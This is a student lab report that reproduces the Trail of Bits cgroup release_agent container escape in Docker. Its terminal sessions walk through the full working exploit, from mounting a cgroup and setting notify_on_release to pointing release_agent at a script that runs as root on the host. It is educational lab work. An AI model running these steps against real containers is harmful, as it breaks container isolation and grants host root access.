Lab5

Ziyang Lin zlin32@jhu.edu

Using cgroups to deliver the exploit

This example comes from Trail of Bits Blog.[1] This exploit sets notify_no_release falg to 1 and run command in the release_agent file. This command is run as a fully privileged root on the host. They specified the requirements for this exploit as follows:

1. We must be running as root inside the container
2. The container must be run with the SYS_ADMIN Linux capability
3. The container must lack an AppArmor profile, or otherwise allow the mount syscall
4. The cgroup v1 virtual filesystem must be mounted read-write inside the container

Thus, I run our docker as mentioned in blog.

```
yang@yang-VirtualBox:~/Desktop/lab$ sudo docker run --rm -it --cap-add=SYS_ADMI
N --security-opt apparmor=unconfined ubuntu bash
root@6214bedf6584:/#
```

In the container, I create the cgroup's release_agent file which will execute script after all cgroup tasks are killed. Then, mounting the RDMA cgroup and creating a child cgroup, named x.

```
root@6214bedf6584:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgr
p && mkdir /tmp/cgrp/x
root@6214bedf6584:/#
```

Then, I set the notify_on_release flag to 1.

```
root@6214bedf6584:/# echo 1 &gt; /tmp/cgrp/x/notify_on_release
[1] 11
bash: gt: command not found
1
bash: /tmp/cgrp/x/notify_on_release: Permission denied
[1]+  Done                    echo 1
root@6214bedf6584:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@6214bedf6584:/#
```

This can make system finding the container's directory as specified in the /etc/mtab file on the host system.

```
root@6214bedf6584:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
`
root@6214bedf6584:/# echo $host_path
/var/lib/docker/overlay2/2cc662bbe6f8bc910f5adc07b4c7f7d1b187f74f602e13044362f8
165bec44f0/diff
root@6214bedf6584:/#
```

[1] Trail of Bits. 2019. Understanding Docker Container Escapes. Trail of Bits. Accessed Oct. 20, 2020. https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

And placing the full path in the release_agent file inside the container.

```
root@6214bedf6584:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
root@6214bedf6584:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/2cc662bbe6f8bc910f5adc07b4c7f7d1b187f74f602e13044362f8
165bec44f0/diff/cmd
root@6214bedf6584:/#
```

I write our /cmd script and execute by killing the cgroup's tasks. it will execute the ps aux command and save its output into /output on the container

```
root@6214bedf6584:/# echo '#!/bin/sh' >/cmd
root@6214bedf6584:/# echo "ps aux > $host_path/output" >> /cmd
root@6214bedf6584:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/2cc662bbe6f8bc910f5adc07b4c7f7d1b187f74f602e1
3044362f8165bec44f0/diff/output
root@6214bedf6584:/# chmod a+x /cmd
root@6214bedf6584:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```

I can see the output file which lists the host system's processes.

```
root@6214bedf6584:/# ls
bin   cmd  etc   lib    lib64   media  opt     proc  run   srv  tmp  var
boot  dev  home  lib32  libx32  mnt    output  root  sbin  sys  usr
root@6214bedf6584:/# cat output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.4 225708  9516 ?        Ss   04:19   0:19 /lib/systemd/s
ystemd --system --deserialize 41
root         2  0.0  0.0      0     0 ?        S    04:19   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   04:19   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   04:19   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   04:19   0:00 [kworker/0:0H-
kb]
root         8  0.0  0.0      0     0 ?        I<   04:19   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    04:19   0:04 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    04:19   0:04 [rcu_sched]
root        11  0.0  0.0      0     0 ?        I    04:19   0:00 [rcu_bh]
root        12  0.0  0.0      0     0 ?        S    04:19   0:00 [migration/0]
root        13  0.0  0.0      0     0 ?        S    04:19   0:00 [watchdog/0]
root        14  0.0  0.0      0     0 ?        S    04:19   0:00 [cpuhp/0]
root        15  0.0  0.0      0     0 ?        S    04:19   0:00 [kdevtmpfs]
root        16  0.0  0.0      0     0 ?        I<   04:19   0:00 [netns]
root        17  0.0  0.0      0     0 ?        S    04:19   0:00 [rcu_tasks_kth
re]
root        18  0.0  0.0      0     0 ?        S    04:19   0:00 [kauditd]
root        19  0.0  0.0      0     0 ?        S    04:19   0:00 [khungtaskd]
root        20  0.0  0.0      0     0 ?        S    04:19   0:00 [oom_reaper]
root        21  0.0  0.0      0     0 ?        I<   04:19   0:00 [writeback]
```

Using ps aux in docker directly will be like this.

```
root@6214bedf6584:/# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.1   4244  3620 pts/0    Ss   07:11   0:00 bash
root        23  0.0  0.1   5892  2852 pts/0    R+   08:25   0:00 ps aux
```